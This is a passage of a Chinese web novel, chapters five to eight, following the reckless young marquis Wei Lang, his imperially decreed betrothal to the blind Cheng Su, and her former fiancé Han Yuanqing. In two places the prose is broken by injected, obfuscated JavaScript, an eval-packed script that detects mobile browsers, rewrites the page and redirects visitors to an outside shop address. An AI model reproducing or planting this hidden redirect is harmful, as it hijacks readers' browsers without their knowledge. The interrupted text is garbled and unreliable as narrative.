程素的声音温柔如水,却透着股疏离:“韩大人,当年离京前,程韩两家便已恩断义绝。虽不知你还有何面目厚颜而来,但还请就此止步。若再要擅闯私宅,休要怪我小题大做,惊动官府了。” 韩元清早已料想过程素不会原谅他,可人就近在咫尺,吐露的话却这样绝情,还是让他心痛难当:“素素……” 话未说完,忽而一阵急促的马蹄伴随呵斥声落下:“何人在此喧哗!” 脚下的地面剧烈震动,韩元清还没来得及躲闪,阴影顷刻间已笼罩至头顶,马声长嘶,碗口大的马蹄高抬至半空,冲着他那张俊脸狠狠踩了下去! 可等了几瞬,预料中的疼痛却没有传来。他虚虚抬眼,来人已一勒缰绳,灵活地掉转马头,绕着他打转。 见他睁开眼,对方从马背上俯身下来,脸上带着毫不掩饰的恶意:“真是不巧,这位不是韩编修吗?这么晚了不回你的县主府,还在外游荡……” “莫不是看人家高墙大院,家底殷实,想来勒索一番吧?” 卫琅原本只想装作无意路过,可一听到这人当着外人的面喊得亲热,顿时心头火起。等冲到跟前,再一看到对方这张俊秀的小白脸,顿觉没狠踹这人一脚,都已是看在程素的面子上了。 韩元清刚被吓出一身冷汗,这会儿听到罪魁祸首非但没有歉意,反而还当众倒打一耙,信口给他按上荒唐的罪名,再也压不住心中的火气。 他面带愠怒:“卫侯爷,你在巷中纵马冲撞便罢了,还空口白牙污在下清白,是以为你定远侯府已经能在朝中只手遮天,无人敢参你一本了吗?” 两人在京中行走,往日偶尔也打过照面。只是一个是纨绔勋贵,一个官员,不在一个交际圈里,充其量只是个脸熟。 卫琅虽然记不太清这人的底细,可还隐约记得这人娶了乐安县主。 一个有妇之夫,傍晚独自来拜访素素母女,说他没包藏祸心谁信。 而韩元清这边,往日虽也听闻过卫琅飞扬跋扈的名声,但两拨人井水不犯河水,他也只是与同僚谈笑时,偶尔不动声色地鄙夷一下这些膏粱子弟罢了。今日撞上吃了亏,才知道传言非虚。 “怎么算是空口白牙呢,”卫琅咧嘴一笑,“半年前我离京时,还听人说乐安与民争利,闹出了人命官司。妇唱夫随,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程素想了想:“若是侯爷不嫌弃,可否进府里喝杯茶一叙。” 无论卫琅为何出现在这里,他替她三言两语赶走了韩元清,她总要领情的。况且对方天黑前来,必然也是有事登门,请进门大家也好把话说开。 卫琅听她提进府二字,满脑子瞬间只剩下了一个念头不断盘旋,她她她她她……居然主动邀请他进门了! 天色已晚,程家只有女眷。若非对他极为放心,她必是不肯让他进门的。 是了,他刚刚挺身而出,就算称不上英雄救美,却也替她解了围。 素素必然对他生出了极大的好感,才想要好好答谢他。 他的心脏怦怦作跳,耳根发烫。 不过卫琅此番只是顺手而为,可没什么挟恩图报的意思。故而他虽有些呼吸急促,却还不忘骨子里的矜持,硬邦邦地挤出两个字:“不了。” 说罢,他翻身上马,面容紧绷:“我还有事,先走一步。” 仿佛背后有人在赶。 小檀没忍住嘀咕道:“这卫小侯爷真是……” 明明他站出来帮忙解围,看着也不像是上门生事的,可哪有连句客套话都不好好说,头也不回就走了的。 她话说了半截,就见刚才离去的人又掉头回来。 那卫小侯爷骑在马上,语气沉肃道:“我不进去喝茶,是有公务在身。之前陛下看我剿匪有功,前日刚说给我个五城兵马司的官职做,一会儿我还要提点底下的人巡夜。方才那人你不必担心,回头我派两个人帮忙盯着。之前……是我一时唐突,改日我再来登门道歉。” 这一长串话他一口气说下来,听上去既是交待,又像是在解释什么。说罢,他又翻身上马,一扯缰绳走远了。 这次就连程素也忍不住摇头笑:“小侯爷可真是……” 真是怎么样呢? 她一时也说不清。 5. 第五章 翌日一早,卫琅便进了宫。 按原本的打算,他本该今日亲自去程家赔礼道歉的。可不知为何,一想到要跟程素的母亲打交道,向来天不怕地不怕的卫小侯爷也莫名有点打怵。 恰巧宫里传话让他过去,卫琅总算有了借口,便让弟弟卫珏代他跑了一趟。至于跟程夫人打交道,这个不急,暂且不急,还是先等人家气消了再说。 他被太监引进书房时,隆兴帝正在习字,见他进来,搁笔笑道:“阿琅来了,快来看看,朕今日这幅字写得如何?” 隆兴帝年已四旬,面目温和,颌下蓄着短须,带着几分书卷气。恰逢今日休沐,他便换了身常服,不像个威严的皇帝,倒像个寻常的中年文士。 卫琅随口敷衍道:“挺好挺好。” 隆兴帝随手拿起一支狼毫扔他,骂道:“不学无术的小子,连看也不看一眼,就信口点评朕的字?放出去半年,这没大没小的毛病还是没改好。” 卫琅反应飞快地接过那支笔,屈膝行礼:“谢陛下赏。” 随后他起身笑嘻嘻道:“您也知道我不学无术,还让我来看。说写得好,您骂我是欺君,可要我说了不好,您又要吹胡子瞪眼怪我没见识了。” 隆兴帝抬手又砸过去一块紫檀镇纸,指着他骂:“知道自己不学无术还不算太晚,改日朕就让你去跟小皇孙们一起去学堂听课,看你还有没有脸。” 书房的太监们眼观鼻鼻观心,对这一幕早已见怪不怪。 陛下和卫小侯爷的相处不似君臣,反而更像寻常人家的叔侄。每次卫琅一来,陛下虽总要先借题发挥骂他几句,可明眼人都能看出,这全是出于一片爱护之心。 也难怪宫中有传言,说这卫琅指不定是陛下养在外头的私生子。不过稍微仔细一想,便知这纯粹是无稽之谈。 隆兴帝尚未即位前,在众皇子中排行第六。其生母只是个浣衣宫女,地位卑微,连带着他在先帝跟前也不受待见。 他即位前只是个闲散王爷,靠琴棋诗画打发日子,而卫家手握重兵,威震朝野,又怎么可能替个落魄王爷养孩子。 反倒是当时的隆兴帝自己,他整日风花雪月、无所事事,素来钦佩卫侯父子的忠烈英勇,一次偶然见卫琅生得玉雪聪明,曾主动要教他写诗作画。 当然,最后的结果不提也罢。 不过到底是从小看到大的孩子,双方自然感情深厚。 先帝晚年性喜猜忌,最后那几年,皇子们明争暗斗,彼此倾轧。当时的隆兴帝不敢涉入其中,只求明哲保身。 可兄弟间都到了你死我活的地步,怎么能容得下他夹缝求生。 故而当时的隆兴帝,连带着如今的皇后太子等一干人都很是吃了些苦头,反倒是卫琅这个便宜大侄子,背后有卫家撑腰,偶尔还能照拂他们一二。 可谁都没想到不起眼的隆兴帝,竟然会是最后的赢家。 卫琅至今也不知道自家那位成了精的老太太有没有猜到,反正他是没想过,这位好脾气的世叔能登上皇位。 不过,能有隆兴帝这样一位性情宽和的帝王临朝,对于他们这样的人家来说,无疑是件值得松口气的事。于他自己来说,更是一桩天大的好事。 卫琅嘴上连忙告个饶,隆兴帝总算放他一马,让人给他看座,开口问道:“朕前日打算让你兼领五城兵马司总指挥使一职的事,你可是考虑清楚了?” 卫琅装作没听见般埋头喝茶。 隆兴帝笑骂道:“怎么,你还看不上。若非你此次剿匪有功,就连这差事都未必给你。朝中至今还有人认定你贪冒了别人的功劳,你能咽得下这口气?” 半年前,他派卫琅南下监军。 说是外放历练,其实只是为找个由头提拔卫琅。 卫家将门出身,在军中素有威望。卫琅的父亲和三叔、小叔战死,但他的二叔仍在为大周镇守边陲。早晚有一日,卫琅指不定也要接过卫家人的重担。 可隆兴帝眼睁睁看这混账小子长到十六岁,他仍是斗鸡走狗不干正事,半年前还伙同人把礼部侍郎的长子给揍了一顿,闹得弹劾的奏折如雪片般飞来。 隆兴帝只能把人赶紧打发走,让他滚出京城去避避风头。 没想到卫琅平日看起来不着调,转头却带人一举攻破十八座山寨。 不出半年的功夫,就将当地盘踞十几年的匪患一扫而清,声震朝野。就连隆兴帝听到奏报时,都没忍住呛了口茶。 等反应过来后,他不由得大悦。 卫家不愧是将门,虽说卫琅小时候是顽劣了些,可若假以时日,他未必不能如他的祖父和父亲一般建功立业。 再看起眼前的惫懒货,隆兴帝只觉心头火热。 卫琅见左右躲不过,叹口气放下茶道:“您别拿话来激我,我若是接了这差使,在京城才是都抬不起头来。那五城兵马司放在京城就是个看大街的差使,谁见了都能踢一脚。您若真有心提拔,至少也得给我个宣武将军当当。” 隆兴帝抬手又拿砚台砸他:“堂堂侯爷,满脑子竟然只有一个从四品的将军。若非你往日行事荒诞,闹得群臣议论,难道是朕舍不得这一官半职?” 卫琅一脸勉为其难:“既然陛下您开口了,我接下还不成吗。” 五城兵马司虽然不堪大用,但好歹也是有那么点用处的。毕竟昨日他才在素素面前夸下了口,若是他这个总指挥使最后都没上任,回头没脸在她眼前晃悠。 隆兴帝见他识相,哼了一声,这才勉强满意。到底是自己看大的孩子,卫琅应得痛快了,他反而心里觉得亏欠。 他又安慰道:“你不要看五城兵马司事冗职卑,可它毕竟统辖京城治安,与京中百姓息息相关。你自幼锦衣玉食,不知民生苦楚,若能在任上体察民情,于你也是历练。若你任上不出岔子,两年、一年之后,朕便让你统领金吾卫!” 卫琅兴致缺缺:“我好好的侯爷做着,您又何苦来扰人清闲。” 眼见隆兴帝又要瞪眼,他立即敛容正色:“定不负陛下厚望。” 隆兴帝恨铁不成钢,口中训道:“你看看你这个样子,换别家都该娶妻生子、顶立门户的年龄,你却还是一副游手好闲、纨绔子弟的模样。依朕看,还是老夫 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这话又要从隆兴帝的子嗣说起。 隆兴帝现如今有六子三女,除了刚出生不久的九皇子外,其余都是在王府时期就出生的。永平、永宁二位公主,年龄与卫琅相仿,确实也正是适婚的年龄。 但这二位公主可不是好招惹的,她们身后分别各站了一位成年皇子。 太子和永平公主乃是一母同胞的亲兄妹,均为隆兴帝早逝的元配所生;永宁公主和二皇子又是当今皇后所出。 先皇后早逝,娘家又无权无势,还在王府时期,这一脉就淡得几乎没影子了。 当时还是祁王的隆兴帝怜惜长子早早就没了母亲,一早就定下了世子的名分。毕竟长幼有序,如此一来,便是继王妃及其子女也没什么好争的。 再加上当时王府处境尴尬,一家人不得不关上门来安分度日,免得生出事端被人抓了把柄,平日倒也算和睦。 奈何时来运转,隆兴帝继位后,所有人的身份都跟以往大不相同。 太子入主东宫,然而母族单薄; 继王妃一跃成了皇后,她娘家兄弟众多,借着这股鸡犬升天的东风,有不少入朝为官的,再加上她膝下共有三子一女,自然让底下人心思浮动。 权势向来是最快能改变一个人的,身处在那样的位置上,许多原本哪怕没有的心思也慢慢滋生出来了。 卫琅因颇受圣眷,出入宫闱频繁,常与这些人打交道。不过两年下来,他早已察觉出几位故人的性情早已不似当年,再加上出身将门,祖母自小对这些事耳提面命,他自然知晓个中利害。 他一点也不想卷进这团皇家纠纷中,奈何眼前这位陛下完全没有一点自觉,居然还想着乱点鸳鸯谱。 他脑袋转得飞快,一脸难以置信地指了指自己:“臣……要娶两位公主?” 隆兴帝顿时勃然大怒,抓起手边能抓到的所有东西,就一股脑地劈头盖脸地砸了过去:“做你的春秋大美梦!你可真敢想!连朕的公主你都敢想!” 6. 第六章 “砰——” 一只茶盅飞了出来,落在地上砸得四分五裂,紧接着迎面而来的又是一块印章、几支笔和砚台等物。 卫琅被打得抱头鼠窜,却也不能真就这么逃了,只好躲远点。 等皇帝砸得累了,一群太监们才纷纷出来收拾了满地的狼藉。 隆兴帝喘着粗气,瞪着低头乖乖跪在地上的卫琅。他盘算着嫁公主这事,可不单是为了卫琅这小子。毕竟他再宠便宜侄子,也越不过自己的公主去。 他早在心里盘算过,虽然卫琅这小子长得勉强还算有鼻子有眼,可要论才学人品胜过他的名门俊彦,也是一抓一大把。 不过大家族人口繁多,底下的腌臜事也是一大把,就算贵为公主之尊,嫁过去后也难免要跟底下那些人打交道。 定远侯府胜在人口简单,门风清正,子孙少有纳妾及拈花惹草的恶习,等公主嫁过去后,日子再省心不过。 何况卫琅也算是他看着长大的孩子,虽然人是不成器了些,但本性还不算坏。再加上他油嘴滑舌惯了,若真想讨人欢心,自然也能哄得人心花怒放。 只是两位公主手心手背都是肉,隆兴帝这个老父亲也不好偏了哪一个去。 他还在踌躇着,到底让卫琅尚哪一位公主更合适,哪知这小子竟误会了他的意思,做起了娥皇女英共事一夫的美梦。 想到这里,隆兴帝犹不解气。卫琅向来乖觉,不等他再度发作,赶紧从地上一骨碌爬起凑上来给他顺气。 好不容易把皇帝哄得气消了,他才小心翼翼道:“……陛下,其实臣刚才没来得及跟您说,祖母已经为臣看好了一门婚事,不日就要下定了。臣今早进宫前,原本还打算着跟您求一道圣旨赐婚呢。” 隆兴帝斜眼看他,一脸狐疑:“相看的是哪一家的闺秀?刚才怎么不说,不会是你临时编出来骗朕的吧?” 卫琅难得敛容正色道:“臣不敢,实在确有此事。祖母为臣相看的,乃是前任刑部给事中程恪言之女。” 隆兴帝早些年只是个没有实权的闲散王爷,对朝中的事务了解有限。何况一个前任刑部给事中,他本不该有印象。 然而听了卫琅的话,他却意外地在记忆中搜寻到了这个名字。 前太子早逝,先帝晚年猜忌成年皇子,常常坐观皇子们斗得两败俱伤后,再将其幽禁或赐死。当时朝野中呼声最高的二皇子和四皇子便是这样先后倒下的。 天潢贵胄尚且如此,和皇子结交的朝臣们也难逃厄运。朝中一时牵连甚广,就连许多无辜者也不幸被卷入其中。 当时的工部侍郎虞衡曾受命于京郊兴建永明寺,寺庙即将落成之日,却遇上了几十年难得一遇的地龙翻身,耗费了无数钱财和心血的佛寺轰然倒塌。 那永明寺本是先帝为祈佛而特意兴造,他晚年为头疾所困,药石罔效,只能寄希望于神佛,却遇上天灾被毁。 按照惯例,凡是上天降祸,皇帝必会降下罪己诏,奈何先帝当时为此事已是怒不可遏,哪有心思躬省己身。 他认定了必是工部偷工减料,致使佛寺被毁,命人彻查,果真查出其中账目有异。而主持此次寺庙修建的虞衡早年又曾受四皇子拔擢,在先帝眼中,这便成了他与皇子勾结、诅咒帝王的铁证。 天子一怒,流血千里。 先帝不仅要将虞家上下数十口抄斩,就连一同兴建永明寺的上万名工匠也要株连坐死。朝中虽有人想劝阻,奈何因夺嫡一事,朝堂上已几近血洗,眼看老皇帝已经气昏了头,谁若站出来,只怕也要跟着人头落地,众人只能噤若寒蝉。 最后,还是时任刑部给事中的程恪言站了出来。他查明真相后上疏谏言,账目确实是有人中饱私囊,虚报工料,虞衡没能查清账目,虽有过错,却断无以次充好,影响永明寺的修建。 再者,当时永明寺周边方圆数十里的屋宇成片倾塌,百姓流离失所,受灾格外严重,足以证明这实非人力所能抗衡。 至于虞家和早已被贬为庶人的四皇子结交,更是捕风捉影之事。 程恪言的奏折言辞恳切,详实有据,令盛怒之中的先帝也无话可说。可他的所作所为有违圣意,最后虞家被抄没流放,他自己也没能躲过一劫。 唯一能称得上幸事的是,那成千上万的寻常工匠得以保住了性命。 先帝最后意识弥留之际,对当年的某些事心存悔意。 临终前,他向隆兴帝交待过,那些赦免施恩的事留给他日后来做。 不久之后,隆兴帝即位,大赦天下,程家的冤情也得以洗脱。 然而五年过去,程恪言本人早已在岭南病逝。朝廷事后虽有追封,可人死如灯灭,他膝下仅有一女,纵还留下些身后虚名,也无济于事了。 程家的遭遇固然令人唏嘘,可说到底还是先皇之过。 隆兴帝原本还想发作,回想起这桩往事之后也不由得默然良久,才问:“那程家如今已经没落了吧,这当真是你家老夫人的意思?还有你,你怎么想的?” 他就不信,卫琅这性子能这么容易就能让人这么摆布他的婚事。 孰料卫琅竟然不好意思地低下了头,还扭捏起来:“那程家姑娘与臣的祖母家还有亲戚呢,怎么说也算一家人……” 隆兴帝一脸难以置信地看着眼神飘忽不定、嘴角却快要咧到天上去的卫琅。这要说他没见过那程家女儿,那才是有鬼了,对方八成还是个美人,不然这小子也不能这么一副蠢样子。 卫琅眼角的余光一直注意着隆兴帝的表情变化,连忙道:“所以臣的婚事……” 隆兴帝意兴阑珊大手一挥:“罢了,就当朕之前什么都没提过。” 他虽有心和侯府结亲,但既然卫老夫人已有主意,再看这小子春风满面的模样,八成也对女方满意的不得了,他也不想做那个从中棒打鸳鸯的恶人。 何况卫家求娶程氏女,某种程度上来说,也算是慰藉忠良之后了。横竖公主也不愁嫁,回头他给她们挑更好的便是。 卫琅察言观色,赶紧道:“微臣想求一道圣旨赐婚。” 其实他本想暂缓婚约,等素素非他不嫁时,再提上日程也不迟。奈何昨晚那姓韩的狗东西一出,再加上今天皇帝想乱点鸳鸯谱,让卫琅危机感顿生。 等来等去,万一真等哪天有人把这婚约搅散了,他可哭都没地儿哭了。 隆兴帝意兴阑珊道:“允了。” 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卫琅忙道:“承蒙殿下和公主垂爱,我那妹妹自小有个见不得生人的古怪毛病,动辄便要发病昏倒。这么多年来也从未出过府门一步,怕是不好来宫里。” 他既拒绝了,太子也不好勉强,话头一转,再次作邀:“对了,底下的人近日进献了一批好马,养在京郊的一处庄子上,你若无事,改日陪孤一起去看看。” 看在从前的情分上,他能拒绝太子一次,但就算有再多借口,若再拒绝第二次、第三次就是不知好歹了。 见卫琅这回终于痛快应下,太子这才满意颔首,转身继续往御书房去了。 两人擦肩而过。 卫琅走到阶下,回头望了一眼,只见御书房的门已经打开,太子连忙挪动着有些肥胖臃肿的身躯进了屋内。 不过两年的功夫,太子人就迅速发福起来。他外出半年,这位殿下更是胖了一圈。刚刚一碰面,他才惊觉,对方身上已经完全没有从前的影子了。 再想想他上次离京前后,太子和另外几位皇子平日言语中有意无意的拉拢试探,卫琅只觉一个头两个大。 屋门很快又合上,隔绝了卫琅的视线,只有两个太监仍守在门外。 他收回了目光。 算了,管他们呢。 反正他在宫外,等以后成婚了还要忙着陪素素,躲这帮人远点就是了。 …… 天下没有不透风的墙,哪怕是深宫之中。这边圣旨赐婚还没下,不出一日,消息就插了翅膀般迅速传到了宫外—— 卫小侯爷要成亲了! 还是圣旨赐婚! 外人尚不清楚程素的底细,但京城的权贵们却在暗地里很快传开了流言。 众人只听卫小侯爷要被迫娶的是昔日罪臣之后,一时有人惊讶,有人嗤笑,有人等着看笑话,反应不一而足。 外面那些风风雨雨没来得及传入青槐巷,便被阻隔在高高的院墙外。 程素浑然不知,自己不知不觉中已经成为一些人私底下议论的话题。 眼下,她正蹲在院子里,两只皮毛油黑发亮的幼犬团团围在她的脚边,欢快地拱着她的腿,发出哼哼唧唧的声音。 7. 第七章 自从那日卫琅在程府门口撞见了韩元清后,第二日他便派了五城兵马司的人来青槐巷附近把守,一发现韩元清的踪迹,就堵得严严实实的,硬是不让他接近。 今日,他又让人送来一对山东的细犬,说是给程家看门护院用的。 小檀笑道:“这小狗的腿又细又长,奴婢还是头一次见。” 程素抬手抚过小细犬们缎子般光滑的皮毛,它们便亲亲热热地凑上来,将她的手心舔得湿漉漉的。 她虽看不见,也能感受到它们的活泼热情。 细犬名贵,长大后是上好的猎犬。这种狗虽然忠诚护主,不过性格这样亲人的也少见,想来挑它们的人也是花了番心思的。何况还不止这对小狗。 这些天来,但凡有什么新鲜有趣好玩儿的,卫家隔三差五地往府上送。 阖府上下都能看出,卫小侯爷哪里是不满意这桩婚事,只怕是满意过了头。 最近这段日子,不只身边的人整日喜气洋洋,就连母亲也整个人放松下来,不仅咳嗽少了,说话的声音也轻快了许多,仿佛卸下了一桩重担。 丫鬟们都在说,定是那日在亭中,小侯爷对她一见钟情,才会这般献殷勤。 程素却觉得有些迷茫。 她知道自己生得不算差,若再夸张一些,在世人眼里也许能称得上一句美人。可只凭匆匆几面,就能让那位长在锦绣堆里的小侯爷做到这般地步吗? 若真是如此,也不知于她而言,究竟是福是祸。 她一下一下地轻摸着幼犬的脑袋,微不可察地叹了口气。 又过了两日,圣旨赐婚便下来了。 接到圣旨,无疑让程家上下更加欢欣鼓舞。倘若之前卫家的态度已经让众人吃了颗定心丸,那圣旨赐婚无疑说明婚事已板上钉钉,再无更改的可能。 就算侯府家大业大,要想背约,也需掂量圣旨的份量。更何况这圣旨还是侯府求来的,足见卫家对这桩婚事的重视。 流程很快有条不紊地推进下去。 下聘,交换庚帖,合生辰八字。 婚期定在三个月后的秋日,云氏原本担忧准备不及,可听说是卫家特意请钦天监算过的良辰吉日,便不再犹豫,全心全意地准备起程素的嫁妆。 她早年为女儿准备的那批妆奁,早在抄家时便散了,不过这两年来,母女二人南来北往经营生意,小有薄产。 再加上卫老夫人疼惜程素,还特意给了她添妆,让她们不必为此忧心。 不过想起当年攒下的家当,云氏还是难免惋惜,傍晚吃饭时,还在念叨着昔年压箱底的一整套红宝石头面。 那是程素的外祖母传下来的,原本准备留给她出嫁时用的,可惜后来抄家时被官兵拿走了,不知流落到了哪里。 提及往事,云氏难免感慨:“当年若是早早让你嫁出去了,你也不至于跟我们一同到岭南受罪。” 她和夫君当初舍不得女儿早早嫁去韩家,总想再留她在家里待个一两年,却没想到后来会生出那些波折。 程素摇头:“您这是说的什么话,若我当日嫁了,就不能陪在您身边了。” 比起她嫁人后困在别家后宅,自己锦衣玉食,却眼看爹娘被流放受苦而无能为力,她倒情愿一家人一起去岭南。 云氏拭泪道:“是,是娘说错了话,那韩家人本不值得托付,就是没有你父亲的事,他也是个靠不住的人,而我们素素的福气还在后头呢。” …… 从母亲那里出来后,程素便一直有点心不在焉,只是她性情恬淡平静,就算偶有心神不定,外人也难以看出来。 如此一来,一直到夜里吹灯睡下,角落里替她守夜的小檀很快呼吸渐沉,她却睁开了眼,望向头顶。 眼前一片漆黑,没有任何光亮,这是她这五年来看惯了的景象。 程素想,许是由于婚期已定,她心底还是有些说不清道不明的情绪,这小半个月以来一直心神不定。 自己就要这样嫁人了吗? 程素努力回想了一下当年自己想过要嫁入韩家时的心情,发现竟然已经回忆不起来了,无非是羞怯、欢喜等等。 那时,她以为从小认识的竹马会是日后的良配,满心期待地等着出阁。 如今想来已是恍如隔世。 程家变故、自己眼盲之后,她就再没想过嫁人的事,无论怎么说,一个瞎子放在哪里都是累赘,正经人家不敢娶。 就是她想留在母亲身边尽孝,也是反而让母亲为自己劳心伤神。 所以,她听从了长辈们的安排,温顺地接受了这桩婚事。 但对于日后如何,她心里并没有底。 从这半年看下来,侯府那位老夫人和卫琅的弟妹都不是难以相处的人,她唯一没有接触过的,便只有那位小侯爷了。 仅有的那两次照面里,她实在摸不准对方究竟是个什么性情。 好在对方至少并不抵触她,至于究竟如何,只能她嫁过去以后慢慢摸清了。 程素微阖双眸,在脑海中一点点做着日后的打算,不觉夜色流逝,直至突然听到有什么东西啪嗒打了一下窗子。夜里如此寂静,再细小的声音都格外清晰。 她心里突地一跳,慢慢屏住了呼吸。 外面似乎有人。 没过一会儿,外面又传来同样的声响。她慢慢起身撩开帐子,凝神望向窗户所在的方向,侧耳再听,却又没有了别的动静,便以手作掩,放在唇边轻咳几声。 守夜的小檀迷迷糊糊道:“姑娘,可是要喝水?” 程素冷静道:“没事,你好好睡吧。” 小檀放心地又沉沉睡过去。 然而过了一阵,程素忽然又道:“小檀,我口渴了。” 可小檀哪里还能听得到她的吩咐。 到底是年纪小没经事,只要睡熟了便是天昏地暗,除非大动静不会醒。若今晚守夜的是白芷,就没有这样幸运了。 程素起身披衣,凭着感觉蹑足走至窗边,推开其中一扇。饶是她的手脚再轻,动作再小心,还是在寂寂的夜里发出吱呀轻响,让她难得紧张起来。 好在小檀仍是没醒,还在梦里咂咂嘴,不知道梦见了什么。 程素停在窗边耐心等了一会儿,可院里只有晚风吹拂和草丛里的虫鸣声。她想了又想,轻声道:“更深露重,倘若侯爷无事,还是早早回去吧。” 窗下终于传来了少年人讷讷的声音:“……你怎么知道是我?” 程素忍不住想笑。 其实她也说不上来为什么,只是直觉如此。若非贼盗,能做出半夜翻墙入户这等惊世骇俗之举的,她所认识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999093|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人里,恐怕只有这位卫小侯爷了。不过她也只是猜测,没想到竟然一猜就猜中了。 她没有回答卫琅的问题,只是客气地问:“侯爷深夜造访,可是有什么事?” 被她这样一问,卫琅终于想起来自己翻墙这件事有点出格,声音压得一低再低:“……我并非有意冒犯,也绝不是来做坏事的。只是我有事想当面和你说,只能出此下策,你……不要生气。” 程素轻声道:“侯爷但说无妨。” 这话又要从前头说起。 当初,圣旨赐婚刚下来时,卫小侯爷很是得意过一阵儿的。 可得意了没几天,他才发现,按照大周的风俗,男女定亲后直至婚前,两人都没法再见面,人瞬间就蔫了。 这让他怎么跟素素培养感情? 他也想过托人送信,可素素的眼看不见,那岂不是说,他写的什么丢人话不都要被不相干的人看去了? 卫琅决不允许这种事发生。 辗转反侧了大半个月,他才下定决心翻墙亲自来找人。 他虽然偶尔行事放诞,可翻墙潜入女眷后院却也是头一遭。等找到程素所住的院子后,也不敢轻举妄动,只能大气也不敢喘地蹲在角落里听蟋蟀声。 原本他也没打算今晚就能跟程素搭上话,只是试着丢了几颗石子,想看看里面的人是否睡熟了,没想到就听到屋里的说话声,吓得险些没翻墙逃跑。 如今看来,好在他沉住气了。 更好的是,素素冰雪聪明,一下子就猜到了是他,还特意出来跟他说话。 想到这里,卫琅这才后知后觉地想起程素眼盲的事,想到她刚刚还不知是怎么自己一个人摸黑来到窗边的,不由得脱口而出:“你的眼……” 程素道:“会好的。” 卫琅啊了一声,一时竟然不知道怎么接话。 程素主动解释:“这事说起来还要多谢侯爷,老夫人曾请过侯府的大夫为我诊治。当时那位老先生曾说,我的眼盲未伤及根本,只是中间耽搁了几年,延误了病情,再加上伤在要害之处,以他的医术,没有十足的把握。前些日子侯爷请了宫里的太医又来替我看过,太医们也说能治,只需等回头他们商量出个法子,便可以着手诊治了。” 一听之前他请的太医竟然真的有用,卫琅高兴起来:“那真是再好不过了!” 他的声音有些大,一出口便觉得不妥,程素也紧张起来,好在屋里的小檀睡得踏实,并未被吵醒。 两人又互等了好一会儿,可谁也没再开口,还是程素主动问道:“侯爷此番前来,可还有别的事?” 卫琅清了清嗓子,不自然道:“我、我来只是想问问,你愿不愿意嫁我。” 原本他开口前还有些紧张和不好意思,可问出来后才忽然觉得周身一轻,连日以来心头莫名的躁动平复下来。 他低头用脚尖碾弄着地上一颗石子,有点没话找话道:“嫁娶可是人生大事,以后的日子长着呢,总要你情我愿才是。我是想说……就算没有那圣旨,你也愿意嫁给我吧?反正……我肯定会待你好的,肯定比之前那个姓韩的狗东西要好。” 他低头说着说着,不知不觉自己的耳朵也隐隐发热,不料窗前伫立的人却沉吟了一会儿,忽然问道:“侯爷可还是想问我跟那韩元清从前的事?” 8. 第八章 程素很早之前就知道,世上有许多不公之事,比如父亲上书谏言,明明是秉直为民,她们一家却被流放; 又比如当年那桩婚约,明明是韩家悔婚在先,更受影响的反而是她。 世人不知个中缘由,只听说女子被退婚,总不免要猜想对方身上是否有某些隐疾,又或者是性情古怪。 就算这两者她都没有,她跟韩元清却自幼认识、两家一度走动频繁,说不定又有人要疑心她早已与对方暗通款曲,又或者至今旧情难忘。 这些事早晚是要说明白的。 她深吸一口气,还没来得及开口,就听卫琅快速却又含糊道:“不,你不用说,那些我都知道……” 他这样说,程素也不意外。她既要嫁去侯府,卫家人肯定也打听过。只是他不问的又是这个,又想问什么呢? 总不能真是来问问她愿不愿意的吧? 她这才后知后觉,方才这位小侯爷说的话听起来有些像在表白心迹。 程素有些不知所措。 且不说圣旨一下,他们的意愿早已无关轻重,算上今晚,她一共“见”过卫琅三回。倘若他当真如丫鬟们所说,对她一见钟情,她却至今连对方什么模样还不清楚,又何来愿意与否一说。 只是要实话实说,实在辜负卫家待她的恩情;可若为了敷衍对方,说了违心的话,同样是有失诚心,等事后对方冷静下来一回想,也能猜出她在说谎。 她一时竟想不出,这位小侯爷希望从她这里得到什么样的答复。 二人无话,一时竟然僵在那里。 正值夏夜,月清风朗,院子靠墙根种了一架蔷薇,香气随风细细传来。 两人不约而同地抬头,感受着微风混杂着花香迎面拂来的凉意。 最终,还是程素定了定心神道:“夜色已深,侯爷还是尽早回去吧。婚事虽为长辈之命,非你我二人能做主,但也请侯爷信我,定不会辜负老夫人和陛下的心意。若还有什么疑虑,可白日来找我。” 卫琅的声音低落下来,难得老老实实道:“我以后再也不会做这样的事了。” 他这样好说话,反倒让程素不好再说什么。那天卫琅挖苦韩元清的声音犹在耳畔,她虽看不见,却也能想象少年人的跋扈张扬,可今晚在她面前,对方却明显收敛了爪牙,什么话小心地顺着她的意思,反而让她有些不知如何是好。 对面的卫琅顿了顿,又道:“……至于你说再来找你的事,还是算了。听说成婚之前见面不好,我不会再来了。” 程素忍不住嗔道:“既然知道,今晚你还要来。” 还是以这样的方式。 卫琅理直气壮:“我刚才可没有看你,我一直闭着眼呢。” 她想象了一下这个场景,终于没忍住笑了:“我也闭着眼呢。” 反正她也看不见,也算闭着眼吧。 温柔的应和声像在哄小孩子,可卫琅的心脏还是不争气地乱跳起来,终究还是没能忍住近在咫尺的诱惑,眼悄悄眯起一条细缝,去偷偷看那伫立在窗前的人。 只见那素来沉静的人眉眼弯弯,笑意柔和,满怀懊恼忽地化作一汪春水。 他赶紧又闭眼,心里软得一塌糊涂。 程素催他:“好了,侯爷您该走了。” 卫琅满脑子空白,只干干地应了声。 他觉得自己好像已经心满意足了,一时也想不起什么别的话,是时候该离开了。于是转头就走,却忘了自己还闭着眼,脚下险些没绊一跤。 程素听到了动静,忙出声提醒他:“侯爷小心。” 卫琅干巴巴道:“你也是。” 旁边的屋子却忽然传来白芷打着哈欠的声音:“什么人?” 